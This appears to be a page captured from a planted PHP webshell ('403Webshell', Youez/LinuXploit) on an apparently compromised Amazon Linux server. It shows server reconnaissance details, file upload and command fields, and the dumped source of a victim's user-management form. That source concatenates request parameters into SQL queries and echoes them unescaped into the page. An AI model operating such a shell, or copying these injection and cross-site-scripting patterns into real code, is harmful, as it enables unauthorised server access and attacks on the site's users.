403Webshell
Server IP : 104.21.21.239  /  Your IP : 216.73.216.11
Web Server : Apache/2.4.68 (Amazon Linux) OpenSSL/3.5.5
System : Linux ip-172-31-69-123.ec2.internal 6.1.176-223.369.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Jul 24 13:34:27 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/connections/mod/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/connections/mod/user_form.php
<?php include('_mod_security.php'); ?>
<?php
	form_prep('users', 'basic_info', 'frm_user');
	if ($_POST['ajax_event_submitted'] == '1') :
		form_prep_submit();
		$_POST['user_name'] = strtolower(preg_replace("/[^A-Za-z0-9]/", '', $_POST['user_name']));
		form_validate('user_name', 'string', true);
		form_validate('full_name', 'string', true);
		form_validate('email', 'email', true);
		if (empty($_POST['password']) && $action == "Add New") :
			$ar_err['password'] = 'Password is required!';
			$err_flag = true;
			$err_tab = 'basic_info';
		endif;
		if (!empty($_POST['password']) || !empty($_POST['password2'])) :
			if ($_POST['password'] != $_POST['password2']) :
				$ar_err['password2'] = 'Passwords do not match!';
				$err_flag = true;
				$err_tab = 'basic_info';
			endif;
		endif;
		if (!$err_flag) :
			$str_password_sql = '';
			if (!empty($_POST['password']) || !empty($_POST['password2'])) :
				$_POST['password_expired'] = 1;
				$str_password_sql = "password = ".$db->quote(trim(password_hash($_POST['password'], PASSWORD_BCRYPT))).", ";
			endif;
			try {
				$db->beginTransaction();
				$set = sql_set_update() . $str_password_sql . form_generate_set();
				if ($action == 'Edit') :
					$sql = "UPDATE sys_users set ".$set.
						"WHERE user_id = ".nz(trim($_REQUEST['id']), '0')." ";
					$db->query($sql);
					post_set_update();
				else :
					if ($action == 'Add New') :
						$sql = "INSERT INTO sys_users SET ".
							sql_set_create().
							$set;
						//echo '==='.$sql.'===';
						$db->query($sql);
						$_REQUEST['id'] = last_id();
						$_POST['user_id'] = $_REQUEST['id'];
						post_set_create_update();
					endif;
				endif;
				$db->commit();
			} catch(Exception $e) {
				db_err_rollback($e);
			}
			form_success();
		else :
			$active_tab = $err_tab;
			$form_message = "Errors found!";
		endif;
	else:
		if ($action == 'Edit') :
			$sql = "SELECT * FROM sys_users WHERE user_id = ".nz(trim($_REQUEST['id']), '0')." ";
			if (!get_row_to_post($sql)) :
				echo form_fatal_error('Invalid Operation!');
				return;
			endif;
			$_POST['roles'] = explode(',',$row['roles']);
			$_POST['password'] = '';
		else :
			$_POST['active'] = 1;
			$_POST['password_expired'] = 1;
		endif;
	endif;
	
?>

<script>
	var active_page = '<?php echo $_REQUEST['IX']; ?>';
	var active_tab = '';
	
	update_header = function()
	{
		if ($("#user_name").val() > "" && $("#full_name").val() > "" )
		{
			$("#header_repeater").text(" - " + $("#user_name").val() + ' - ' + $("#full_name").val());
		}
	}
	
	$(document).ready(function()	
		{
			switch_tab('<?php echo $active_tab; ?>');
			update_header();
			$(':input:not(.search)').change(function() {sheet_dirty = true; } );
		}
	)
</script>

<h1>User - <?php echo $action; ?><span id="header_repeater"></span></h1>
<?php echo form_message($form_message); ?>

<form name="frm_user" id="frm_user" method="post" action="">
	<input name="ajax_event_submitted" type="hidden" value="1" />
	<input name="id" type="hidden" value="<?php echo $_REQUEST['id']; ?>" />
	<input name="active_tab" id="active_tab" type="hidden" value="basic_info" />
	<?php form_button_strip('top'); ?>
	<div class="tab_strip">
		<?php
			form_tab_header('basic_info', 'Basic Info', 'admin');
			if (!empty($_REQUEST['id'])) :
				form_tab_header('log', 'Log', 'admin');
			endif;
		?>
	</div>
	<div class="cleardiv">
		&nbsp;
	</div>
	<?php form_tab_start('basic_info', 'User - Basic Info'); ?>
		<div class="input_column">
			<?php
				form_field('user_id', 'text', 50, 0, false, false, true, '', '', 'user_id', 'User ID');
				form_field('user_name', 'text', 50, 0, true, false, false, '', '', 'user_name', 'User Login Name', array(), '', 'update_header();');
				form_field('full_name', 'text', 50, 0, true, false, false, '', '', 'full_name', 'Full Name', array(), '', 'update_header();');
				form_field('email', 'text', 50, 0, true, false, false, '', '', 'email', 'Email');
				form_field('password', 'password', 50, 0, false, false, false, '', '', '', 'Password');
				form_field('password2', 'password', 50, 0, false, false, false, '', '', '', 'Re-enter Password');
			?>
		</div>
		<div class="input_column">
			<?php
				form_field('roles', 'checkgroup', 50, 0, false, false, false, '', '', 'roles', 'User Roles', $ar_roles);
				form_field('active', 'checkbox', 50, 0, false, false, false, '', '', 'active', 'Active');
				form_field('password_expired', 'checkbox', 50, 0, false, false, false, '', '', 'password_expired', 'Password Expired');
			?>
		</div>
	<?php form_tab_end(); ?>
	<!-- -------------------------------------------------------------------------------------------------------------- -->
	<?php form_tab_start('log', 'User - Log'); ?>
		<?php
			$ref = urlencode('user_form&tab=locations&id='.trim(nz($_REQUEST['id'], '0')));
			$ix_form_log = '';
		?>
		<?php db_navigator_bar(array('table_id'=>'db_grid_log', 'form'=>$ix_form_log, 'btn_addnew'=>'false', 'xls_sql'=>$xls_sql, 'print_section'=>'db_grid_log', 'call'=>'user_log_ajax', 'sort_col'=>'1', 'sort_order'=>'1', 'subtab'=>'true', 'parm1'=>nz($_REQUEST['id'], '0'), 'func'=>'grid' )); ?>
	<?php form_tab_end(); ?>
	<!-- -------------------------------------------------------------------------------------------------------------- -->
	<?php form_button_strip('bottom'); ?>
</form>

Youez - 2016 - github.com/yon3zu
LinuXploit